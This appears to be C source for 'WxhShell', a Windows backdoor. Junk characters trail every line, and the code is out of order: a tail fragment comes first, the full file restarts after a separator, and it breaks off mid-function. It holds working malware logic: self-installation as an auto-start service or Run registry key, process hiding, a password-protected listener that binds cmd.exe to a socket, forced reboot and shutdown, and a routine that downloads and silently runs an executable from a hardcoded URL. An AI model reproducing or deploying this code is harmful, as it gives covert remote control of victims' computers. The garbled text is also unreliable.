    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n}e%c B  
    if(Boot(SHUTDOWN)) Im!b-1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @>.aQE  
    else { !L q'o ?  
    closesocket(wsh); "\`Fu  
    ExitThread(0); V_D wHq2  
    } DTM(SN8R+n  
    break; Lk@+iHf  
    } frW\!r{LT  
  // 获取shell :A!EjIL`#  
  case 's': { 83 R_8  
    CmdShell(wsh); ~<O.Gu&"R  
    closesocket(wsh); m.`I}  
    ExitThread(0); y6-P6T  
    break; K5T1dBl,0  
  } X=Ar"Dx}}s  
  // 退出 UBM#~~sM  
  case 'x': { '[%Pdd]! E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3`{;E{  
    CloseIt(wsh); DEhR\Z!  
    break; Ta/zDc"e  
    } }cGILH%  
  // 离开 z;2& d<h  
  case 'q': { ?V+\E2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ; S$  
    closesocket(wsh); L;?F^RK{U  
    WSACleanup(); #>\SK  
    exit(1); RU'a 8j+W  
    break; S{8-XiL,  
        } #3LZX!  
  } +l/kH9m  
  } LVm']_K(f  
NIQ}+xpC  
  // 提示信息 ZsXw]Wa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ("j;VqYUL  
} 5lP8#O?=  
  } N~IAm:G}[  
1!;~Y#  
  return; ((#BU=0iK  
} D_$N2>I-  
DbB<8$  
// shell模块句柄 nvLdgu4P>  
int CmdShell(SOCKET sock) <pa-C2Ky  
{ d}Guj/cx,  
STARTUPINFO si; -AD` (b7q  
ZeroMemory(&si,sizeof(si)); ohyq/u+y~A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xf#;`*5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :E|Jqi\  
PROCESS_INFORMATION ProcessInfo; yHC[8l8%  
char cmdline[]="cmd"; WbhYGcRy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xg^%8Ls^  
  return 0; bXc*d9]  
} lX2:8$?X  
0<uLQVoR2n  
// 自身启动模式 MaD|X_g  
int StartFromService(void) 66 R=  
{ Vj1V;dHv  
typedef struct ~}d\sQF .  
{ 60n P'xfR  
  DWORD ExitStatus; cT@| $A  
  DWORD PebBaseAddress; >eo[)Y  
  DWORD AffinityMask; \?Z7|   
  DWORD BasePriority; 1pG|jT+Bi  
  ULONG UniqueProcessId; x0{B7/FN  
  ULONG InheritedFromUniqueProcessId; S#oBO%!  
}   PROCESS_BASIC_INFORMATION; @6+_0^  
 "$J5cco  
PROCNTQSIP NtQueryInformationProcess; Yy]TU} PY  
|.yS~XFJS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4I2:"CK06  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G4'Ee5(o  
`+vQ5l$;L  
  HANDLE             hProcess; Ja 5od  
  PROCESS_BASIC_INFORMATION pbi; 5[B)U">]  
,ZrR*W?iF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "K9[P :nw  
  if(NULL == hInst ) return 0; Wf5;~RJC?  
dyf>T}Iy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [.xc`CF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SB('Nqih  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6)ZaK  
0F_hXy@K  
  if (!NtQueryInformationProcess) return 0; 4ME$Z>eN  
fH_l2b[-3@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kb"Fw:0  
  if(!hProcess) return 0; q27q/q8  
F @Wi[K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <o3I<ci6  
"[fPzIP9  
  CloseHandle(hProcess); YryMB,\  
;vPFRiFK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [4YRyx&:++  
if(hProcess==NULL) return 0; eFf9T@  
5izpQ'>  
HMODULE hMod; we!w5./Xm  
char procName[255]; g$"x,:2x{  
unsigned long cbNeeded; ujBm"p_|  
F !OD*]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `^on`"\{u  
eY?OUS  
  CloseHandle(hProcess); ZBx,'ph}4  
s 72yu}  
if(strstr(procName,"services")) return 1; // 以服务启动 &FOq c  
/y4A?*w6  
  return 0; // 注册表启动 "SQyy  
} \8\T TkVSq  
$6 Hf[(/e  
// 主模块 L>WxAeyu1K  
int StartWxhshell(LPSTR lpCmdLine) 62.Cq!~  
{ *sB'D+-/  
  SOCKET wsl; @gf <%>  
BOOL val=TRUE; }2*qv4},!  
  int port=0; y,1U]1TP  
  struct sockaddr_in door; 1|>vk+;1h  
lB/ ^  
  if(wscfg.ws_autoins) Install(); <jYyA]Zy5  
- "2 t^ Q  
port=atoi(lpCmdLine); r oG<2i F  
CK4#ZOiaa  
if(port<=0) port=wscfg.ws_port; d!Y%7LmSE@  
"d~<{(:N^  
  WSADATA data; 7.2!g}E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?5lO1(  
vlDA/( &  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (;9fkqm%m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?/hS1yD;  
  door.sin_family = AF_INET; "W4|}plnu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I~p*~mLh'  
  door.sin_port = htons(port); \}=W*xxB  
(M{wkQTO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $/JXI?K  
closesocket(wsl); !{(crfXB  
return 1; =Y!.0)t;*  
} pK_zq  
N~`r;E  
  if(listen(wsl,2) == INVALID_SOCKET) { l9+CJAmq  
closesocket(wsl); V8o, e  
return 1; .ty2! .  
} gwg~4:W  
  Wxhshell(wsl); l$l6,OzS@  
  WSACleanup(); S}0-2T[  
}lJ|nl`c  
return 0; eDNY|}$}v  
8<Yv:8%B6  
} 5OO XCtIKf  
D0S^Msk9L  
// 以NT服务方式启动 )ytP$,r![S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :AuKQ`c  
{ P&Xy6@%[Z  
DWORD   status = 0; DSp~k)  
  DWORD   specificError = 0xfffffff; :c )R6=v  
ff fWvf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9M|#X1r{%{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VRY@}>W'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l_+q a6C*  
  serviceStatus.dwWin32ExitCode     = 0; SjJ$Oinc  
  serviceStatus.dwServiceSpecificExitCode = 0; *(i%\  
  serviceStatus.dwCheckPoint       = 0; r<P?F  
  serviceStatus.dwWaitHint       = 0; &js$qgY  
|6Iw\YU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YLSDJ$K6  
  if (hServiceStatusHandle==0) return; /9P7;1?  
Dp} $q`F[  
status = GetLastError(); ~\u>jel  
  if (status!=NO_ERROR) Z~|%asjFE  
{ ~e){2_J&n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yC|odX#  
    serviceStatus.dwCheckPoint       = 0; w`#9Re  
    serviceStatus.dwWaitHint       = 0; SwrzW'%A  
    serviceStatus.dwWin32ExitCode     = status; B*QLKO:)i  
    serviceStatus.dwServiceSpecificExitCode = specificError; o(3OChH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2#UVpgX?  
    return; q_>=| b  
  } %t:13eM  
d] E.F64{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 76c:* bZ  
  serviceStatus.dwCheckPoint       = 0; we*E}U4  
  serviceStatus.dwWaitHint       = 0; >w\3.6A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }ri7@HCY4  
}  @_WZZ  
EF 8rh  
// 处理NT服务事件,比如:启动、停止 w5Ucj*A\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U}<zn+SI#V  
{ w0<1=;_%  
switch(fdwControl) 8N#.@\'kz.  
{ =fhRyU:C[z  
case SERVICE_CONTROL_STOP: Gh%dVP9B@P  
  serviceStatus.dwWin32ExitCode = 0; 8<E U|/O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f=4q]y#& X  
  serviceStatus.dwCheckPoint   = 0; 6"+bCx0:  
  serviceStatus.dwWaitHint     = 0; Zjc 0R   
  { !|"LAr9u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "88<{xL  
  } _XI,z0(  
  return; -Zg@#H  
case SERVICE_CONTROL_PAUSE: }72+i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YB]^Y^"e  
  break; {qSYe!`  
case SERVICE_CONTROL_CONTINUE:  {qH+S/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k)9 pkPl  
  break; L9z5o(Aa  
case SERVICE_CONTROL_INTERROGATE: o O1Fw1Y  
  break; i^}DIx{  
}; %IUTi6P l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6WLq>Jo  
} de"+ABR  
D;DI8.4`N  
// 标准应用程序主函数 dFnu&u"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _C$SaQty[Q  
{ 79'N/:.  
dW|S\S'&  
// 获取操作系统版本 dJ{'b '#  
OsIsNt=GetOsVer(); <Lq.J`|+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9\6ZdnEKu,  
C7 9~@%T  
  // 从命令行安装 Rd1I$| Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); {8~xFYc:  
<a D}Ko(  
  // 下载执行文件 0INlo   
if(wscfg.ws_downexe) { M8FC-zFs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RUV:   
  WinExec(wscfg.ws_filenam,SW_HIDE); `hU 2Ss~  
} Iw</X}#\  
Qu|<1CrZj]  
if(!OsIsNt) { CX>QP&Gj  
// 如果时win9x,隐藏进程并且设置为注册表启动  }_?FmuU  
HideProc(); FK,YVY  
StartWxhshell(lpCmdLine); DDU)G51>d  
} )TkXdA?.  
else gJ5|P .  
  if(StartFromService()) nrz2f7d$  
  // 以服务方式启动 59a7%w  
  StartServiceCtrlDispatcher(DispatchTable); Jn1(-  
else 0tN/P+!|  
  // 普通方式启动 p=f8A71  
  StartWxhshell(lpCmdLine); 9M .cTIO{  
&8Oy*'  
return 0; XZpF<7l  
} %4h$/~  
Ky[-ZQQo=5  
<cR]-Yr~  
,N2|P:x  
=========================================== e5m-7{h@  
d@<~u,Mt&F  
CDRz3Hu U  
!}&f2!?.W  
^36m$J$  
0BHSeO,  
" IdL~0;W7  
 ZG-[Gz  
#include <stdio.h> ZfWF2%]<  
#include <string.h> X}j_k=,C  
#include <windows.h> dWDf(SS  
#include <winsock2.h> }!5+G:JAh  
#include <winsvc.h> ]1i1_AR'`  
#include <urlmon.h> ':?MFkYC  
=:7OS>x  
#pragma comment (lib, "Ws2_32.lib") &^b mZj!  
#pragma comment (lib, "urlmon.lib") An3%@;  
c UHKE\F  
#define MAX_USER   100 // 最大客户端连接数 B pl(s+  
#define BUF_SOCK   200 // sock buffer (n~GKcA  
#define KEY_BUFF   255 // 输入 buffer t3FfPV!P"  
aEC&#Q(]q  
#define REBOOT     0   // 重启 L[p[m~HjG^  
#define SHUTDOWN   1   // 关机 Eza B}BLQ9  
CB%O8d #  
#define DEF_PORT   5000 // 监听端口 p?4h2`P  
$@4(Lq1.  
#define REG_LEN     16   // 注册表键长度 uSn<]OrZo`  
#define SVC_LEN     80   // NT服务名长度 <S`N9a  
$_0~Jzt,  
// 从dll定义API K6; sxF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ; Uf]-uS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >KnXj7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]tDuCZA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <+${gu?^  
@m(ja@YC  
// wxhshell配置信息 ;kiL`K  
struct WSCFG { lG!We'?  
  int ws_port;         // 监听端口 `F TA{ba  
  char ws_passstr[REG_LEN]; // 口令 q.g0Oz@ z  
  int ws_autoins;       // 安装标记, 1=yes 0=no aYPD4yX"/  
  char ws_regname[REG_LEN]; // 注册表键名 N13wVx  
  char ws_svcname[REG_LEN]; // 服务名 v`KYhqTUl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \>GHc}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aMycvYzH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wT+b|K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n*GsM6Y&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bpWEF b'f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !Won<:.[0  
Lb%Wz*Fa%!  
}; uS,XQy2  
K#<cuHGC  
// default Wxhshell configuration Ju 0  
struct WSCFG wscfg={DEF_PORT, lQnqPQY  
    "xuhuanlingzhe", B&k"B?9mL  
    1, /qX=rlQ/n  
    "Wxhshell", s.uV,E*wu  
    "Wxhshell", |oI]  
            "WxhShell Service", $bT<8:g  
    "Wrsky Windows CmdShell Service", P% ZCACzV  
    "Please Input Your Password: ", ~^pV>>LX|  
  1, 1{7*0cv$iL  
  "http://www.wrsky.com/wxhshell.exe", (*\*7dIo  
  "Wxhshell.exe" v08Xe*gNU  
    }; 2W 9N-t2 1  
fu6Ir,  
// 消息定义模块 tHV81F1J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b63tjqk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5t&;>-A'?'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rr/sxR|0_  
char *msg_ws_ext="\n\rExit."; Fj~,>   
char *msg_ws_end="\n\rQuit.";  W .t`  
char *msg_ws_boot="\n\rReboot..."; V:vYS  
char *msg_ws_poff="\n\rShutdown..."; yw9)^JU8"  
char *msg_ws_down="\n\rSave to "; XAf,k&f3  
*D$[@-7  
char *msg_ws_err="\n\rErr!"; S>s{t=AY~  
char *msg_ws_ok="\n\rOK!"; %RF9R"t$  
P7`sJ("#  
char ExeFile[MAX_PATH]; */JMPw&  
int nUser = 0; Y &"rf   
HANDLE handles[MAX_USER]; .W)%*~ O!;  
int OsIsNt; |X$O'Gf#n  
5bKm)|4z6  
SERVICE_STATUS       serviceStatus; bF X0UE>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r#CQCq  
0j )D[K  
// 函数声明 I"<ACM  
int Install(void); -*I Dzm  
int Uninstall(void); ;j]-;wg-;  
int DownloadFile(char *sURL, SOCKET wsh); & NO:S  
int Boot(int flag); p%+uv\Ix  
void HideProc(void); `swf~  
int GetOsVer(void); =6N%;2`84  
int Wxhshell(SOCKET wsl); i`}nv,  
void TalkWithClient(void *cs); R8U?s/*  
int CmdShell(SOCKET sock); g*nh8  
int StartFromService(void); "}(g3Iy  
int StartWxhshell(LPSTR lpCmdLine); B5iVT<:a  
?i8a)!U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qfQg?Mr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1:+f@#  
`x0GT\O2-  
// 数据结构和表定义 hH|moj]  
SERVICE_TABLE_ENTRY DispatchTable[] = ..g?po  
{ ,xeJf6es  
{wscfg.ws_svcname, NTServiceMain}, nr t3wqJ  
{NULL, NULL} r(#]Z   
}; 9+o`/lk1  
wNX2*   
// 自我安装 }c$@0x;YQ  
int Install(void) x8]5> G8(r  
{ l&f"qF?  
  char svExeFile[MAX_PATH]; 18xT2f  
  HKEY key; lS.&>{  
  strcpy(svExeFile,ExeFile); -N3fhW#)  
GYq.!d@O  
// 如果是win9x系统,修改注册表设为自启动 +hJ@w-u,G  
if(!OsIsNt) { MvLmEmKb}\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6pHn%yE*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nYc8+5CcK'  
  RegCloseKey(key); g]hTz)8fF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xj^Hy"HC^~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '8$*gIQ8  
  RegCloseKey(key); Y%B:IeF}  
  return 0; W".: 1ov#B  
    } [Pnk@jIk4  
  } uFzvb0O`O  
} ?Thh7#7LM  
else { LR5X=&k  
I|27%i  
// 如果是NT以上系统,安装为系统服务 drr n&y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ah (lH5r  
if (schSCManager!=0) CQ`$' oy?W  
{ X4"D Lt"  
  SC_HANDLE schService = CreateService sr+Y"R  
  ( 4*K~6Vh  
  schSCManager, =/J{>S>(i  
  wscfg.ws_svcname, ?=22@Q}g  
  wscfg.ws_svcdisp, I}&`IUP  
  SERVICE_ALL_ACCESS, 0"*!0s ~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E mUA38  
  SERVICE_AUTO_START, =68CR[H  
  SERVICE_ERROR_NORMAL, z,"fr%*,N  
  svExeFile, tS2Orzc>,  
  NULL, ;ORT#7CU  
  NULL, q (?%$u.  
  NULL, iAOm[=W  
  NULL, 9HjtWQn  
  NULL Z+qTMm  
  ); 7NY9UQ  
  if (schService!=0) _|!FhZ  
  { jgfl|;I?pg  
  CloseServiceHandle(schService); S8 {Sb>  
  CloseServiceHandle(schSCManager); Aw38T w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nsRZy0@$t  
  strcat(svExeFile,wscfg.ws_svcname); ws tH&^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R*v~jR/   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Oc|`<^m  
  RegCloseKey(key); `H:5D5]  
  return 0;  t dl Y  
    } <d$L}uQwg  
  } #fy#G}c  
  CloseServiceHandle(schSCManager); ?-y!FD}m&  
} /:YJ2AARY  
} km)5?  
kFJ sB,2-  
return 1; zi-; 7lT  
} )@X `B d  
JwkMRO  
// 自我卸载 &_L FV@/  
int Uninstall(void) rW~hFSrV[o  
{ A 11w{`EM  
  HKEY key; +, SUJ|  
qB`-[A9HPe  
if(!OsIsNt) { D 2U")g}U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A[/_}bI|  
  RegDeleteValue(key,wscfg.ws_regname); lcv&/ A  
  RegCloseKey(key); ^^ Q'AE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]/o0p  
  RegDeleteValue(key,wscfg.ws_regname); Slk__eC  
  RegCloseKey(key); DP(JsZ}  
  return 0; k,~I>qg  
  } YPjjSi:#  
} 0={@GhjApL  
} IEx`W;V]K  
else { 8IAf 9  
Q\P?[i]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B{#*PAK=  
if (schSCManager!=0) jLANv{"  
{ F~NmLm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :GXD-6}^|  
  if (schService!=0) ou r$Ka31  
  { aR iD}P*V  
  if(DeleteService(schService)!=0) { Y7|R vLWoP  
  CloseServiceHandle(schService); X&B2&e;  
  CloseServiceHandle(schSCManager); [hLSK-K 9  
  return 0; :YZqrcr}  
  } yFIB/ln:  
  CloseServiceHandle(schService); {^r8uKo:~  
  } M![aty@  
  CloseServiceHandle(schSCManager); `)9nBZ  
} /[[_}\xI%  
}  d"E@e21  
6;LM1 _  
return 1; l3d^V&Sk  
} `}b#O}z)^  
5 A/[x $q  
// 从指定url下载文件 ,rvw E  
int DownloadFile(char *sURL, SOCKET wsh) S%h[e[[fST  
{ !>~W5c^  
  HRESULT hr; Orb('Z,-3  
char seps[]= "/"; 2D5S%27,  
char *token; WUVRwJ 5  
char *file; 5h"moh9tG  
char myURL[MAX_PATH]; : ryE`EhB  
char myFILE[MAX_PATH]; Im NTk  
iIOA54!o  
strcpy(myURL,sURL); &"D *  
  token=strtok(myURL,seps); fM[Qn*.  
  while(token!=NULL) {uurM` f}:  
  { P1<Y7 +n  
    file=token; (*.t~6c?5  
  token=strtok(NULL,seps); l?F&I.{J  
  } :UjF<V  
PT9,R^2T!  
GetCurrentDirectory(MAX_PATH,myFILE); :8}iZ.  
strcat(myFILE, "\\"); =%p%+F@RlW  
strcat(myFILE, file); X[Lwx.Ly8  
  send(wsh,myFILE,strlen(myFILE),0);  mN>7vJ  
send(wsh,"...",3,0); ]et4B+=i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q*^Y8s~3I  
  if(hr==S_OK) -`z`K08sT  
return 0; uF xrv  
else 6} DGEHc1  
return 1; ~16QdwK  
0K\Xxo.=  
} TM|M#hMS  
?tWcx;h:>  
// 系统电源模块 <A"T_Rk  
int Boot(int flag) >^cP]gG Y  
{ %SV5 PO@  
  HANDLE hToken; A!([k}@=j  
  TOKEN_PRIVILEGES tkp; ;Up'+[Vj'C  
{-(}p+;z  
  if(OsIsNt) { BPp`r_m8w}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W/(D"[:l%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3Un{Q~6h  
    tkp.PrivilegeCount = 1; gW{<:6}!*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'cs!(z-{x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KO`ftz3 +  
if(flag==REBOOT) { k7rFbrL Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) % D]vKv~<  
  return 0; zTDB]z!A  
} Hzr<i4Y=w9  
else { -WDU~VSU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]7 qn&(]  
  return 0; 7 Jxhn!  
} sV8}Gv a  
  } XcOfQ s  
  else { AXUSU(hU  
if(flag==REBOOT) { gWt}q-@nRR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hdL/zW7]  
  return 0; vwVK ^B  
} & PHejG_#  
else { 3F5Y#[L`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .A;e` cKb  
  return 0; _[zZm*  
} I{8fTod  
} hT `kma  
Kjw4,z%\94  
return 1; `1|#Za~e  
} _ZM$&6EC  
.Dn.|A  
// win9x进程隐藏模块 G ZxM44fP  
void HideProc(void) a;=)`  
{ 2nSX90@:  
d~bZOy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XLEEd?Vct9  
  if ( hKernel != NULL ) {!? @u?M  
  { !N\<QRb\q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~U] "dbQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wul$lJ?tE  
    FreeLibrary(hKernel); K? ;_T$^K  
  } T&M*sydA  
?C( ' z7  
return; tUS)1*{_  
} ]V|rOtxb  
3 [R<JrO  
// 获取操作系统版本 H .F-mm  
int GetOsVer(void) }ll&qb  
{ W'aZw9  
  OSVERSIONINFO winfo; UKYQ @m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }6;K+INT  
  GetVersionEx(&winfo); q|An  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zf@gAvJ  
  return 1; N?xZ]?T  
  else 9g*O;0uz  
  return 0; =?o,' n0  
} $]V,H"  
PUt\^ke  
// 客户端句柄模块 &|/@;EA$8  
int Wxhshell(SOCKET wsl) 4o+SSS  
{ 1J`<'{*  
  SOCKET wsh; #6t 4 vJ1  
  struct sockaddr_in client; 1u?h4w C  
  DWORD myID; #w%d  
)7$1Da|.  
  while(nUser<MAX_USER) @DiXe[kI  
{ J1i{n7f=@  
  int nSize=sizeof(client); t)#8r,9c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f`r o {p  
  if(wsh==INVALID_SOCKET) return 1; [I*)H7pt}  
w %4SNR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p>4tPI}bf  
if(handles[nUser]==0) gYeKeW3)  
  closesocket(wsh); *QKxrg  
else ]!7 %)  
  nUser++; -^1}J  
  } W''%{A/'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5yOIwzr&Uu  
fQW1&lFT  
  return 0; 0P{^aSxTP  
} U2v;[>=]  
[HRry2#s  
// 关闭 socket $|kq{@<  
void CloseIt(SOCKET wsh) ^Rr!YnEN  
{  ?cG~M|@  
closesocket(wsh); 2C6o?*RjyY  
nUser--; i-.]onR  
ExitThread(0); myq@X(K  
} s$%t*T2J>  
R07]{  
// 客户端请求句柄 cTC -cgp  
void TalkWithClient(void *cs) +8<|P&fH  
{ )b%t4~7  
^T?zR7r  
  SOCKET wsh=(SOCKET)cs; KT5amct  
  char pwd[SVC_LEN]; lN(|EI  
  char cmd[KEY_BUFF]; OD@k9I[  
char chr[1]; U46qpb 7  
int i,j; 0V RV. Ml  
jHPkfwfAF  
  while (nUser < MAX_USER) { *B4?(&0  
'E\/H17  
if(wscfg.ws_passstr) { [Rj_p&'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^sF/-/ {?U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); { l E\y9  
  //ZeroMemory(pwd,KEY_BUFF); 0W_olnZ  
      i=0; q8m{zSr  
  while(i<SVC_LEN) { WGmXq.  
(vR9vOpJ  
  // 设置超时 r\PO?1  
  fd_set FdRead; )WBp.j /#  
  struct timeval TimeOut; H{)DI(,Y^P  
  FD_ZERO(&FdRead); g~7x+cu0  
  FD_SET(wsh,&FdRead); Arr(rM  
  TimeOut.tv_sec=8; ?|i C-7{8L  
  TimeOut.tv_usec=0; qjBF]3%t%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #QUQC2P(~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #&k`-@b5|  
539f B,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jv ;8Mm  
  pwd=chr[0];  ff;9P5X  
  if(chr[0]==0xd || chr[0]==0xa) { vpg*J/1[  
  pwd=0; ?&`PN<~2z  
  break; Ad}Nc"O  
  } ]|xfKDu  
  i++; N9dx^+\  
    } `{oFdvL~)  
5cUz^ >  
  // 如果是非法用户,关闭 socket &Z3u(Eb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =x xN3Ay  
} MdC}!&W  
`i `F$;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .OM^@V~T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); op2<~v0?  
>;K!yI?0  
while(1) { "Wb>y*S   
@<TC+M5!  
  ZeroMemory(cmd,KEY_BUFF); M?S&@\}c  
im-XP@<  
      // 自动支持客户端 telnet标准   Z[ 53cVT^  
  j=0; APJVD-  
  while(j<KEY_BUFF) { 9cIKi#Bl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;hV-*;>  
  cmd[j]=chr[0]; ,I2x&Ys&.  
  if(chr[0]==0xa || chr[0]==0xd) {  "d; T1  
  cmd[j]=0; Hk 0RT%PK  
  break; {3* Ne /  
  } r`\6+Ntb.  
  j++; <WiyM[ ep  
    } D7lRZb  
TWeup6k  
  // 下载文件  NZu2D  
  if(strstr(cmd,"http://")) { O}-+o1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z[G[.\0  
  if(DownloadFile(cmd,wsh)) Im!fZ g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t" $#KP<  
  else OTj J'  
